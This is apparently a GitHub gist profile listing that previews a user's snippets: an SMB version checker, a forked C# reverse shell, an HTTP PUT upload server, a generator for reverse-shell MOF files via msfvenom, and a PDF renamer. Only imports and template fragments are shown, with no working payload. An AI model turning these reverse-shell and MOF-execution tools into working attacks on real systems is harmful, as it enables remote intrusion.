Skip to content

Instantly share code, notes, and snippets.

View xax007's full-sized avatar

xax007

  • Error: Unable to resolve
View GitHub Profile
@xax007
xax007 / get_smb_version.py
Last active November 29, 2018 05:59
Get smb server version via impacket when smbclient or other smb enumerate tools(eg. enum4linux) can not get it.
#!/usr/bin/env python
# Copyright (c) 2003-2018 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description: Mini shell using some of the SMB funcionality of the library
#
# Author:
@xax007
xax007 / Simple_Rev_Shell.cs
Created November 18, 2018 06:25 — forked from BankSecurity/Simple_Rev_Shell.cs
C# Simple Reverse Shell Code
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;
@xax007
xax007 / HTTPutServer.py
Created November 17, 2018 04:49
Python HTTP PUT Server
import sys
import signal
from threading import Thread
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
class PUTHandler(BaseHTTPRequestHandler):
def do_PUT(self):
length = int(self.headers['Content-Length'])
@xax007
xax007 / generate_reverse_shell_mof.py
Last active November 10, 2018 10:24
Generate reverse shell mof file via msfvenom
import sys
import string
import random
def add_vbs_to_mof(vbs_code):
random_class_name = ''.join([random.choice(string.ascii_letters + string.digits) for n in range(32)][:6]).title()
mof_template = "#pragma namespace (\"\\\\\\\\.\\\\root\\\\subscription\")\n" \
"\n" \
"class MyReverseShellMofClass \n" \
@xax007
xax007 / rename-file.py
Created November 10, 2018 03:25
Python - Change the pdf file name from 'blahblah-abc.pdf' to 'Abc-blahblah.pdf'
import os
def main():
for root, dirs, files in os.walk(os.getcwd()):
for file in files:
filename, file_extension = os.path.splitext(file)
if file_extension.startswith('.pdf'):
# change pdf files filename from 'blahblah-abc' to 'Abc-blahblah'
new_filename = filename.split('-')[1].title() + '-' + filename.split('-')[0]